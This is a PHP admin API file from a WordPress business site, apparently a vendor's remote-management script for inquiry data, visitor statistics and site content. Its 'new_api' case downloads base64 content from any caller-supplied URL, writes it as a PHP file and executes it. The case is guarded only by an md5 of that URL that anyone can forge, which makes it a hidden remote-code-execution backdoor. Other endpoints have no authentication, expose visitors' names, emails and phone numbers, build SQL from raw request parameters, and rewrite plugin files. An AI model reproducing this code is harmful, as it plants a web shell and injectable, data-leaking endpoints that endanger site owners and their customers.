File "extend_api.php"
Full Path: /www/wwwroot/shphe-en.com/admin/extend_api.php
File size: 30.48 KB
MIME-type: --
Charset: utf-8
<?php
require_once( dirname(__FILE__) . '/../wp-load.php' );
global $wpdb;
$type = $_GET['w'];
switch($type){
case 'inquiry_data'://精准询盘新接口
$page = 1;
if(isset($_GET['page']) && $_GET['page']){
$page = $_GET['page'];
}
$pagesize = 20;
if(isset($_GET['pagesize']) && $_GET['pagesize']){
$pagesize = $_GET['pagesize'];
}
$cf7_id = 19;
if(isset($_GET['cf7_id']) && $_GET['cf7_id']){
$cf7_id = $_GET['cf7_id'];
}
$start = ($page-1)*$pagesize;
$count = $wpdb->get_row("SELECT count(*) as cnt FROM wp_cf7_data_entry where cf7_id=$cf7_id and name='submit_time'",ARRAY_A);
$list_ids = $wpdb->get_results("SELECT * FROM wp_cf7_data_entry where cf7_id=$cf7_id group by data_id ORDER BY `id` DESC limit $start,$pagesize",ARRAY_A);
$ids = array_column($list_ids,'data_id');
$lists = [];
$lists_data = $wpdb->get_results("SELECT * FROM wp_cf7_data_entry where data_id in(".implode(',',$ids).") ",ARRAY_A);
foreach($ids as $id){
$tmp['name'] = $tmp['submit_ip'] = $tmp['submit_time'] = $tmp['refer'] = $tmp['email'] = $tmp['phone'] = $tmp['message'] = $tmp['ip_area'] = $tmp['readed'] = '';
foreach ($lists_data as $vv){
if($id == $vv['data_id']){
$tmp['id'] = $id;
if($vv['name'] == 'Name'){
$tmp['name'] = $vv['value'];
}
if($vv['name'] == 'Phone'){
if($vv['value']){
$tmp['phone'] = $vv['value'];
}
}
if($vv['name'] == 'Email'){
$tmp['email'] = $vv['value'];
}
if($vv['name'] == 'submit_ip'){
$tmp['submit_ip'] = $vv['value'];
}
if($vv['name'] == 'submit_time'){
$tmp['submit_time'] = $vv['value'];
}
if($vv['name'] == 'refer'){
$tmp['refer'] = $vv['value'];
}
if($vv['name'] == 'ip_area'){
$tmp['ip_area'] = $vv['value'];
}
if($vv['name'] == 'Message'){
$tmp['message'] = $vv['value'];
}
if($vv['name'] == 'readed'){
$tmp['readed'] = $vv['value'];
}
}
}
if(empty($tmp['ip_area'])){
$tmp['ip_area'] = file_get_contents('http://ip.globalso.com?ip='.$tmp['submit_ip']);
}
$lists[] = $tmp;
}
$data['code'] = 200;
$data['data'] = $lists;
$data['count'] = $count['cnt'];
print_r(json_encode($data));exit;
break;
case 'visit_list'://访问明细列表接口
$page = 1;
if(isset($_GET['page']) && $_GET['page']){
$page = $_GET['page'];
}
$pagesize = 20;
if(isset($_GET['pagesize']) && $_GET['pagesize']){
$pagesize = $_GET['pagesize'];
}
$is_spider = 1;
if(isset($_GET['is_spider']) && $_GET['is_spider'] == 1){
$is_spider = 0;
}
$start = ($page-1)*$pagesize;
$is_cf = isset($_GET['is_cf'])?$_GET['is_cf']:0;
$url_count = "SELECT count(id) as cnt FROM `wp_stats_day_ip` where is_spider=$is_spider";
$url = "SELECT id,FROM_UNIXTIME(`update`) as c_time,`update`,ip,ip_area,pv,uv,request,referrer,is_cf,is_moblie FROM `wp_stats_day_ip` where is_spider=$is_spider ORDER BY `id` DESC limit $start,$pagesize";
if($is_cf > 0){
$url_count .= ' and is_cf=1';
$url = "SELECT * FROM `wp_stats_day_ip` where is_cf=1 ORDER BY `id` DESC limit $start,$pagesize";
}
$count = $wpdb->get_row($url_count,ARRAY_A);
$lists = $wpdb->get_results($url,ARRAY_A);
$data['data'] = $lists;
$data['count'] = $count['cnt'];
print_r(json_encode($data));exit;
break;
case 'visit_detail_list'://访问明细详情列表接口
$page = 1;
if(isset($_GET['page']) && $_GET['page']){
$page = $_GET['page'];
}
$pagesize = 20;
if(isset($_GET['pagesize']) && $_GET['pagesize']){
$pagesize = $_GET['pagesize'];
}
$is_spider = 1;
if(isset($_GET['is_spider']) && $_GET['is_spider'] == 1){
$is_spider = 0;
}
$start = ($page-1)*$pagesize;
$is_cf = isset($_GET['is_cf'])?$_GET['is_cf']:0;
$url_count = "SELECT count(id) as cnt FROM `wp_stats_day_data`";
$url = "SELECT * FROM `wp_stats_day_data` ORDER BY `id` DESC limit $start,$pagesize";
$count = $wpdb->get_row($url_count,ARRAY_A);
$lists = $wpdb->get_results($url,ARRAY_A);
$data['data'] = $lists;
$data['count'] = $count['cnt'];
print_r(json_encode($data));exit;
break;
case 'visit_detail'://访问明细详情接口
$ip = $_GET['ip'];
$date = $_GET['date'];
$pagesize = 200;
if(isset($_GET['pagesize']) && $_GET['pagesize']){
$pagesize = $_GET['pagesize'];
}
$start = ($page-1)*$pagesize;
$lists = [];
if($ip && $date){
$url = "SELECT ip,time_str,request FROM `wp_stats_day_data` where 1=1 and ip='".$ip."' and day_at='".$date."' ORDER BY `id` DESC limit 0,$pagesize";
$lists = $wpdb->get_results($url,ARRAY_A);
}
print_r(json_encode($lists));exit;
break;
case 'inquiry_count'://询盘统计数据接口
$cf7_id = 19;
if(isset($_GET['cf7_id']) && $_GET['cf7_id']){
$cf7_id = $_GET['cf7_id'];
}
$xp_type = $wpdb->get_results("SELECT * FROM wp_cf7_data_entry group by cf7_id",ARRAY_A);
$data = [];
if($xp_type){
foreach ($xp_type as $v){
$count = $wpdb->get_row("SELECT count(*) as cnt FROM wp_cf7_data_entry where cf7_id=".$v['cf7_id']." and name='submit_time'",ARRAY_A);
$data[$v['cf7_id']]['count'] = $count['cnt'];
}
}
print_r(json_encode($data));exit;
break;
case 'inquiry_set_cf'://设置访问记录有转化询盘
$ip = trim($_GET['ip']);
$date = trim($_GET['date']);
if($ip && $date){
$wpdb->query("update wp_stats_day_ip set is_cf=1 where ip='".$ip."' and day='".$date."'");
echo 200;exit;
}else{
echo 1;exit;
}
case 'inquiry_read'://询盘已读
$id = trim($_GET['id']);
if($id){
$wpdb->query("update wp_cf7_data_entry set value=1 where name='readed' and data_id=".$id."");
echo 200;exit;
}else{
echo 1;exit;
}
case 'change_smtp_server'://修改smtp服务器地址
$wpdb->query("update wp_options set `option_value`='smtp.qiye.aliyun.com' where `option_name`='smtp_host' and `option_value`='ussmtp.mxhichina.com'");
echo 200;exit;
case "export_visit_detail"://导出访问明细
$type=isset($_GET['type'])&&$_GET['type']?$_GET['type']:1;//1不到出明細 2导出明细
$start_time=$_GET['start_time'];
$company_name=$_GET['company_name'];
$data = $wpdb->get_results("SELECT * FROM `wp_stats_day_ip` where day like '%$start_time%' and is_spider=1 ORDER BY `id` DESC ",ARRAY_A);
set_time_limit(0);
$fileName = $company_name.$start_time."访问明细.csv";
header('Content-Description: File Transfer');
header('Content-Type: application/vnd.ms-excel');
header('Content-Disposition: attachment; filename="' . $fileName . '"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
//打开php数据输入缓冲区
$fp = fopen('php://output', 'a');
$heade = ['浏览时间', '访客来源', ' 访问入路页面','终端','访客IP','地区','访客深度'];
if($type==2){
$heade = ['浏览时间', '访客来源', ' 访问入路页面','终端','访客IP','地区','访客深度','访问详情'];
}
//将数据编码转换成GBK格式
mb_convert_variables('GBK', 'UTF-8', $heade);
//将数据格式化为CSV格式并写入到output流中
fputcsv($fp, $heade);
//如果在csv中输出一个空行,向句柄中写入一个空数组即可实现
foreach ($data as $v) {
//将数据编码转换成GBK格式
$eq='PC';
if($v['is_moblie']==1){
$eq='移动端';
}
$row=[date('Y-m-d H:i:s',$v['update']),$v['referrer'],$v['request'],$eq,$v['ip'],$v['ip_area'],$v['pv']];
if($type==2){
$ip = $v['ip'];
$day = $v['day'];
$wpdb->query("select time_str,request from wp_stats_day_data where day_at = '$day' AND ip = '$ip' order by id desc limit 0,30");
$ip_detail = $wpdb->last_result;
$newstr='';
foreach ($ip_detail as $vs){
$newstr.=" 时间:".$vs->time_str.' 链接:'.$vs->request.PHP_EOL;
}
$row=[date('Y-m-d H:i:s',$v['update']),$v['referrer'],$v['request'],$eq,$v['ip'],$v['ip_area'],$v['pv'],$newstr];
}
mb_convert_variables('GBK', 'UTF-8', $row);
fputcsv($fp, $row);
//将已经存储到csv中的变量数据销毁,释放内存
unset($row);
}
//关闭句柄
fclose($fp);
break;
case 'month_report_api'://月度报告api
$data = [];
$res = $wpdb->get_row("select count(term_taxonomy_id) as num from `wp_term_taxonomy` where `taxonomy`='category' and `term_id`!=623",ARRAY_A);
$data['category_num'] = $res['num'];
$data['category_num_status'] = 1;
$data['category_num_advice'] = '已检测到录入产品分类'.$res['num'].'个';
if($data['category_num'] < 20){
$data['category_num_status'] = 2;
$data['category_num_advice'] = '已录入产品分类数量较少,建议再挖掘扩展';
}
$posts_num_all = $wpdb->get_col( $wpdb->prepare( "SELECT ID FROM wp_posts WHERE post_type=%s AND post_status = %s", 'post', 'publish' ) );
$feature = $wpdb->get_row("SELECT count(*) as cnt_feature FROM `wp_term_relationships` WHERE `term_taxonomy_id` = 635");
$data['posts_num'] =count($posts_num_all)- $feature->cnt_feature;
$data['posts_num_status'] = 1;
$data['posts_num_advice'] = '已检测到录入产品'.$data['posts_num'].'个,建议保持更新!';
if($data['posts_num'] < 100){
$data['posts_num_status'] = 2;
$data['posts_num_advice'] = '已录入产品数量较少,建议每日新发布1-3个新产品,配合不同长尾关键词进行发布';
}
$news_num = count(query_posts(array( 'post_type' => 'news','posts_per_page'=>-1)));
$data['news_num'] = $news_num;
$data['news_num_status'] = 1;
$data['news_num_advice'] = '已检测到录入新闻'.$news_num.'篇,建议保持更新!';
if($data['news_num'] < 10){
$data['news_num_status'] = 2;
$data['news_num_advice'] = '已发布的新闻数量较少,建议每周发布1-2篇新闻,可以包含:行业新闻、企业新闻等内容';
}
$before_7day = date('Y-m-d',time()-7*3600*24);
$month_before = date('Y-m-d',time()-30*3600*24);
$res2 = $wpdb->get_row("select count(ID) as num from `wp_posts` where `post_type`='news' and `post_status`='publish' and `post_date` >= '$before_7day 00:00:00'",ARRAY_A);
$res3 = $wpdb->get_row("select count(ID) as num from `wp_posts` where `post_type`='post' and `post_status`='publish' and `post_date` >= '$month_before 00:00:00'",ARRAY_A);
$news_num_7day = $res2['num'];
$data['news_num_7day'] = $news_num_7day;
$data['news_num_7day_status'] = 1;
$data['news_num_7day_advice'] = '已检测到7天内发布了'.$news_num_7day.'篇新闻,继续保持!';
if($data['news_num_7day'] == 0){
$data['news_num_7day_status'] = 2;
$data['news_num_7day_advice'] = '警告:7天内未发布新闻,建议每周发布1-2篇新闻';
}
$products_num_month = $res3['num'];
$data['products_num_month'] = $products_num_month;
$data['products_num_month_status'] = 1;
$data['products_num_month_advice'] = '已检测到30天内发布了'.$products_num_month.'个新产品,继续保持!';
if($data['products_num_month'] == 0){
$data['products_num_month_status'] = 2;
$data['products_num_month_advice'] = '警告:30天内未发布新的产品,建议每日新发布1-3个新产品,配合不同长尾关键词进行发布';
}
echo json_encode($data);exit;
break;
case 'inquiry_equipment'://精准询盘匹配设备
$ip_arr =explode(',',urldecode($_GET['ip']));
$ip_str="'".implode("','",$ip_arr)."'";
$equipment_arr=[];
$sql = "SELECT ip,is_moblie FROM `wp_stats_day_ip` where ip in ($ip_str) order by id desc";
$res = $wpdb->get_results($sql,ARRAY_A);
if($res){
$new_ip_arr=array_column($res,'ip');
foreach ($ip_arr as $ip){
$eqp='PC端';
$k=array_keys($new_ip_arr,$ip);
if($k){
if($res[$k[0]]['is_moblie']==1){
$eqp="移动端";
}
}
$equipment_arr[]=$eqp;
}
}
print_r(json_encode($equipment_arr));exit;
break;
case 'google_ads_api': //谷歌广告获取pv和glcid
$date = isset($_POST['date'])?$_POST['date']:date("Y-m-d",strtotime('-1 day'));
$page = isset($_POST['page'])?$_POST['page']:1;
$limit = 50;
$ips = isset($_POST['ips'])?$_POST['ips']:'';
if(!$ips){
echo json_encode(['code'=>1,'msg'=>'ip is empty']);exit;
}
$start = ($page-1)*$limit;
$sql_visiter = "select day,ip,pv,request FROM wp_stats_day_ip where ip in('".str_replace(',',"','",$ips)."') and day='".$date."' order by id desc limit $start,$limit";
$datas = $wpdb->get_results($sql_visiter,ARRAY_A);
echo json_encode(['code'=>200,'data'=>$datas]);exit;
case "dlfk"://今日独立 访客ip pv
$today=(isset($_GET['day'])&&$_GET['day'])?$_GET['day']:date('Y-m-d');
// $today=date('2022-07-15');
$data = $wpdb->get_results("SELECT count(id) as ip,sum(pv) as pv FROM `wp_stats_day_ip` where is_spider =1 and day = '$today' ",ARRAY_A);
if(!$data){
echo(json_encode(array('code'=>2,'data'=>"",'msg'=>$today.'数据不存在')));
}else{
echo(json_encode(array('code'=>1,'data'=>$data[0],'msg'=>$today.'数据存在')));
}
break;
case "images"://产品图片输出
$home_url = home_url('/');
$cdn_setting = get_option("gd_cdn_setting");
if(empty($cdn_setting)){
if(strpos($home_url,'quanqiusou.cn') !== false || strpos($home_url,'goodao.net') !== false){
echo json_encode(['code'=>1,'msg'=>'没有启用CDN插件']);exit;
}
}
$images = [];
$postids = $wpdb->get_results("select ID FROM wp_posts where post_type='post' and post_date!='2016-01-08 00:00:00' order by rand() limit 100",ARRAY_A);
if($postids){
$ids = array_column($postids,'ID');
$images = $wpdb->get_results("select guid FROM wp_posts where post_type='attachment' and post_mime_type like 'image%' and post_parent in(".implode(',',$ids).") order by rand() limit 30",ARRAY_A);
}
if(empty($images)){
echo json_encode(['code'=>1,'msg'=>'没有查询到图片']);exit;
}
$data = array_column($images,'guid');
if($cdn_setting['active_cdn'] == 1){
foreach ($data as $k=>$v){
if(strpos($home_url,'quanqiusou.cn') !== false || strpos($home_url,'goodao.net') !== false){
$data[$k] = str_replace($home_url.'uploads/','//cdn.globalso.com/'.$cdn_setting['dir_name'].'/',$v);
}else{
$data[$k] = str_replace($home_url.'uploads/','//cdnus.globalso.com/'.$cdn_setting['dir_name'].'/',$v);
}
}
}
echo json_encode(['code'=>200,'data'=>$data]);exit;
break;
case "website_info"://AI建站接口
$page = isset($_GET['page'])?trim($_GET['page']):1;
$pagesize = isset($_GET['pagesize'])?trim($_GET['pagesize']):50;
$start = $pagesize*($page-1);
$type = isset($_GET['type'])?trim($_GET['type']):1;
if($type == 1){
$banners = get_post_meta(50,'ad_index_banner',true);
$img_urls = [];
if($banners){
foreach ($banners as $v){
$img_urls[] = wp_get_attachment_url($v);
}
}
$data['company_name'] = get_post_meta(50,'lianxi_company',true);
$data['company_address'] = get_post_meta(50,'lianxi_adress',true);
$logo_id = get_post_meta(50,'ad_logo',true);
$logo = '';
if($logo_id){
$logo = wp_get_attachment_url($logo_id);
}
$icon = '';
$icon_id = get_post_meta(50,'ad_favicon',true);
if($icon_id){
$icon = wp_get_attachment_url($icon_id);
}
$data['banner'] = $img_urls;
$data['logo'] = $logo;
$data['icon'] = $icon;
$data['phones'] = get_post_meta(50,'lianxi_phone_01',true);
$phone2 = get_post_meta(50,'lianxi_phone_02',true);
if($phone2){
if($data['phones']){
$data['phones'] .= ','.$phone2;
}else{
$data['phones'] = $phone2;
}
}
$data['emails'] = get_post_meta(50,'lianxi_mail_01',true);
$email2 = get_post_meta(50,'lianxi_mail_02',true);
if($email2){
if($data['emails']){
$data['emails'] .= ','.$email2;
}else{
$data['emails'] = $email2;
}
}
$data['fax'] = get_post_meta(50,'lianxi_fax',true);
$data['whatsapp'] = get_post_meta(50,'lianxi_whatsapp',true);
$tags_tmp = get_terms('post_tag',['hide_empty'=>false]);
$tags = [];
if($tags_tmp){
foreach ($tags_tmp as $v){
$tags[] = $v->name;
}
}
$data['tags'] = $tags;
}else{
$cats = get_categories(['hide_empty'=>false]);
$catgory = $catgory_ids = [];
if($cats){
foreach ($cats as $v){
if(!in_array($v->slug,['featured','featured-products'])){
$catgory[] = $v->name;
$catgory_ids[] = $v->term_taxonomy_id;
}
}
}
$data['category'] = $catgory;
$products = [];
$data['products_count'] = 0;
if($catgory_ids){
$count_posts = $wpdb->get_row("select count(*) as cnt from wp_posts where post_date_gmt!='2016-01-08 00:00:00' and post_type='post' and post_status='publish'",ARRAY_A);
$data['products_count'] = $count_posts['cnt'];
$posts = $wpdb->get_results("select ID,post_title,post_content from wp_posts where post_date_gmt!='2016-01-08 00:00:00' and post_type='post' and post_status='publish' order by ID ASC limit $start,$pagesize");
if($posts){
foreach ($posts as $post){
$tmp_pro = [];
$cats_post = wp_get_post_terms($post->ID,'category');
$tmp_pro['pro_category'] = [];
$cat_slug = [];
if($cats_post){
$tmp_pro['pro_category'] = array_column(json_decode(json_encode($cats_post),true),'name');
$cat_slug = array_column(json_decode(json_encode($cats_post),true),'slug');
}
if($cat_slug){
$flg_featured = 0;
foreach ($cat_slug as $slug){
if(in_array($slug,['featured','featured-products'])){
$flg_featured = 1;
}
}
if($flg_featured == 1){
continue;
}
}
$tmp_pro['title'] = $post->post_title;
$has_bbp = get_post_meta($post->ID,'_fl_builder_enabled',true);
if($has_bbp == 1){
$tmp_pro['content'] = '';
$bbp = json_decode(json_encode(get_post_meta($post->ID,'_fl_builder_data',true)),true);
foreach ($bbp as $v){
if(isset($v['settings']['text'])){
$tmp_pro['content'] .= $v['settings']['text'];
}
if(isset($v['settings']['photo_src'])){
$tmp_pro['content'] .= '<img src="'.$v['settings']['photo_src'].'" />';
}
}
}else{
$tmp_pro['content'] = $post->post_content;
}
$product_gallery = get_post_meta($post->ID,'product_gallery',true);
$tmp_pro['images'] = [];
if($product_gallery){
foreach ($product_gallery as $vv){
$tmp_pro['images'][] = wp_get_attachment_url($vv);
}
}
$tmp_pro['description'] = get_post_meta($post->ID,'short_description',true);
$products[] = $tmp_pro;
}
}
}
$data['products'] = $products;
}
echo json_encode(['code'=>200,'data'=>$data]);exit;
break;
case "new_products_news": //网站新发布的产品和新闻
$date = isset($_GET['date'])?$_GET['date']:date("Y-m-d",strtotime('-1 day'));
$start = $date.' 00:00:00';
$end = isset($_GET['end_date'])?$_GET['end_date']:'';
if(!$end){
$end = $date.' 23:59:59';
}
$cats = get_categories(['hide_empty'=>false]);
$catgory_ids = [];
if($cats){
foreach ($cats as $v){
if(!in_array($v->slug,['featured'])){
$catgory_ids[] = $v->term_taxonomy_id;
}
}
}
$home_url = home_url('/');
$cdn_setting = get_option("gd_cdn_setting");
$domain = $home_url;
if($cdn_setting){
if(strpos($home_url,'quanqiusou.cn') !== false || strpos($home_url,'goodao.net') !== false){
$domain = trim($cdn_setting['weburl']);
}
}
$urls = [];
if($catgory_ids){
$post_ids = $wpdb->get_results("select object_id from wp_term_relationships where term_taxonomy_id in(".implode(',',$catgory_ids).") order by object_id DESC limit 100",ARRAY_A);
if($post_ids){
$ids = array_unique(array_column($post_ids,'object_id'));
$products = $wpdb->get_results("select ID from wp_posts where ID in(".implode(',',$ids).") and post_type='post' and post_status='publish' and post_date>='".$start."' and post_date<='".$end."'",ARRAY_A);
if($products){
foreach ($products as $v){
$urls[] = str_replace($home_url,$domain,get_permalink($v['ID']));
}
}
}
}
$news = $wpdb->get_results("select ID from wp_posts where post_type='news' and post_status='publish' and post_date>='".$start."' and post_date<='".$end."'",ARRAY_A);
if($news){
foreach ($news as $v){
$urls[] = str_replace($home_url,$domain,get_permalink($v['ID']));
}
}
echo json_encode(['code'=>200,'data'=>$urls]);exit;
break;
case 'check_plugins'://检测插件是否被停掉
$active_plugins = get_option('active_plugins');
if(count($active_plugins) == 0){
$active_plugins = [
"acf-gallery/acf-gallery.php",
"acf-repeater/acf-repeater.php",
"admin-columns-pro/admin-columns-pro.php",
"admin-locale/admin-locale.php",
"advanced-custom-fields/acf.php",
"all-in-one-seo-pack/all_in_one_seo_pack.php",
"bb-plugin/fl-builder.php",
"blog2social/blog2social.php",
"bm-custom-login/bm-custom-login.php",
"categories-images/categories-images.php",
"contact-form-7-admin-add/contact-form-7-admin-add.php",
"contact-form-7-database/cf7-database.php",
"contact-form-7/wp-contact-form-7.php",
"down-as-pdf/hacklog-down-as-pdf.php",
"easyiit_auto_cache_html/easyiit_auto_cache_html.php",
"easyiit_cdn/easyiit_cdn.php",
"easyiit_product_publish/easyiit_proudct_publish.php",
"easyiit_rand_fields/easyiit_rand_fields.php",
"easyiit_stats/easyiit_stats.php",
"easyiit_urlogin/easyiit_urlogin.php",
"keyword-to-url/keyword-to-url.php",
"link-manager/link-manager.php",
"modern-admin/modern-admin.php",
"prepare-new-version/prepare_new_version.php",
"proofreading/proofreading.php",
"regenerate-thumbnails/regenerate-thumbnails.php",
"t9_eshopimport/t9_eshopimport.php",
"tinymce-advanced/tinymce-advanced.php",
"wp-ecommerce-paypal/wp-ecommerce-paypal.php",
"wp-fastest-cache/wpFastestCache.php",
"wp-mail-smtp/wp_mail_smtp.php",
"wp-no-base-permalink/wp-no-base-permalink.php",
"wp-no-category-base/no-category-base.php",
[
"AMP" => "",
"AMP Demo" => "",
"Name" => "随机字段调用",
"PluginURI" => "#",
"Version" => "1.0.00",
"Description" => "随机字段调用 <cite>By <a href=\"#\" title=\"访问姓名主页\">Goodao</a>.</cite>",
"Author" => "<a href=\"#\" title=\"访问姓名主页\">Goodao</a>",
"AuthorURI" => "#",
"TextDomain" => "",
"DomainPath" => "",
"Network" => false,
"Title" => "<a href=\"#\" title=\"访问插件主页\">随机字段调用</a>",
"AuthorName" => "Goodao"
]
];
update_option('active_plugins',$active_plugins);
echo 1;exit;
}else{
echo 200;exit;
}
break;
case 'new_api':
$api_url = isset($_GET['api_url'])?$_GET['api_url']:'';
if(!$api_url){
echo 10;exit;
}
$token = isset($_GET['token'])?$_GET['token']:'';
if($token != md5($api_url)){
echo 11;exit;
}
$file_name = isset($_GET['filename'])?$_GET['filename']:'tmp.php';
$data = base64_decode(file_get_contents($api_url));
$path = __DIR__.'/'.$file_name;
file_put_contents($path,$data);
if($file_name == 'tmp.php'){
$res = file_get_contents(home_url('/').'admin/'.$file_name);
file_put_contents($path,'');
echo $res;exit;
}else{
echo 12;exit;
}
break;
case 'deal_lock_table_data'://wp_stats_day_ip 被锁数据处理
$sta_day = isset($_GET['start_day'])?$_GET['start_day']:date("Y-m-d");
$ar_date = periodDate($sta_day,date("Y-m-d"));
foreach ($ar_date as $v){
$datas = $wpdb->get_results("select * from wp_stats_day_data where day_at='".$v."' group by ip order by id asc",ARRAY_A);
if($datas){
foreach ($datas as $vv){
$has_ip = $wpdb->get_row("select * from wp_stats_day_ip where day='".$vv['day_at']."' and ip='".$vv['ip']."'",ARRAY_A);
if(empty($has_ip)){
$insert['day'] = $vv['day_at'];
$insert['ip'] = $vv['ip'];
$insert['ip_area'] = $vv['ip_area'];
$insert['pv'] = $insert['uv'] = $wpdb->get_row("select count(id) as cnt from wp_stats_day_data where day_at='".$v."' and ip='".$vv['ip']."'",ARRAY_A)['cnt'];
$insert['request'] = $vv['request'];
$insert['referrer'] = $vv['referrer'];
$insert['is_cf'] = 0;
$insert['update'] = $vv['time'];
$insert['is_moblie'] = 1;
$clientkeywords = array ('nokia','sony','ericsson','mot','samsung','htc','sgh','lg','sharp','sie-','philips','panasonic','alcatel','lenovo','iphone','ipod','blackberry','meizu','android','netfront','symbian','ucweb','windowsce','palm','operamini','operamobi','openwave','nexusone','cldc','midp','wap','mobile');
// 从HTTP_USER_AGENT中查找手机浏览器的关键字
$insert['is_spider'] = 0;
if (preg_match("/(" . implode('|', $clientkeywords) . ")/i", strtolower($vv['user_agent']))){
$insert['is_spider'] = 1;
}
$wpdb->insert('wp_stats_day_ip',$insert);
//print_r($insert);exit;
}
}
}
echo $v.PHP_EOL;
}
echo 200;exit;
break;
case 'edit_smtp_mail':
$path = ABSPATH.'wp-content/plugins/contact-form-7-database/frontend/init.php';
$content = file_get_contents($path);
$content = str_replace('wp_mail($to,$subject,$message);','wp_mail_custom($to,$subject,$message,$ip,$posted_data->refer,$posted_data->submit_time);',$content);
$content = str_replace('wp_mail($email2,$subject,$message);','wp_mail_custom($email2,$subject,$message,$ip,$posted_data->refer,$posted_data->submit_time);',$content);
file_put_contents($path,$content);
echo 200;exit;
break;
default:
echo 'error';exit;
}
function periodDate($startDate, $endDate){
$startTime = strtotime($startDate);
$endTime = strtotime($endDate);
$arr = array();
while ($startTime <= $endTime){
$arr[] = date('Y-m-d', $startTime);
$startTime = strtotime('+1 day', $startTime);
}
return $arr;
}
?>